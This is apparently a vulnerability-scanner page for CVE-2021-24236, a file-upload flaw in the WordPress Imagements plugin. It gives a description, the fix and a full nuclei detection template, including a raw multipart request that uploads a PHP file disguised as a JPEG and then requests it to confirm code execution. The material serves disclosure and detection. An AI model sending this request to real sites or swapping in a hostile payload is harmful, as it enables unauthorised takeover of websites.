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CVE-2021-24236· imagements project / imagements· CWE-434
WordPress Imagements <=1.2.5 - Arbitrary File Upload
WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code.
Impact
This vulnerability can lead to remote code execution and compromise the affected WordPress site.
Fix
Update WordPress Imagements plugin to version 1.2.6 or later to fix the arbitrary file upload vulnerability.
How to confirm it
Send: POST /wp-comments-post.php ; GET /wp-content/plugins/imagements/images/{{php}}
Positive when: contains in body_2 "{{md5(string)}}"Run it with nuclei: nuclei -id CVE-2021-24236 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24236
info:
name: WordPress Imagements <=1.2.5 - Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code.
impact: |
This vulnerability can lead to remote code execution and compromise the affected WordPress site.
remediation: |
Update WordPress Imagements plugin to version 1.2.6 or later to fix the arbitrary file upload vulnerability.
reference:
- https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea
- https://wordpress.org/plugins/imagements/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236
- https://nvd.nist.gov/vuln/detail/CVE-2021-24236
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24236
cwe-id: CWE-434
epss-score: 0.07277
epss-percentile: 0.94409
cpe: cpe:2.3:a:imagements_project:imagements:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: imagements_project
product: imagements
framework: wordpress
tags: cve2021,cve,wp,unauth,imagements,wpscan,fileupload,wordpress,wp-plugin,intrusive,imagements_project,vuln
variables:
php: "{{to_lower('{{randstr}}')}}.php"
post: "1"
string: "CVE-2021-24236"
http:
- raw:
- |
POST /wp-comments-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="comment"
{{randstr}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="author"
{{randstr}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="email"
{{randstr}}@email.com
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="url"
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="checkbox"
yes
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="naam"
{{randstr}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="image"; filename="{{php}}"
Content-Type: image/jpeg
<?php echo md5("{{string}}");unlink(__FILE__);?>
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="submit"
Post Comment
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="comment_post_ID"
{{post}}
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="comment_parent"
0
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU--
- |
GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_2
words:
- '{{md5(string)}}'References
- https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea
- https://wordpress.org/plugins/imagements/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236
- https://nvd.nist.gov/vuln/detail/CVE-2021-24236
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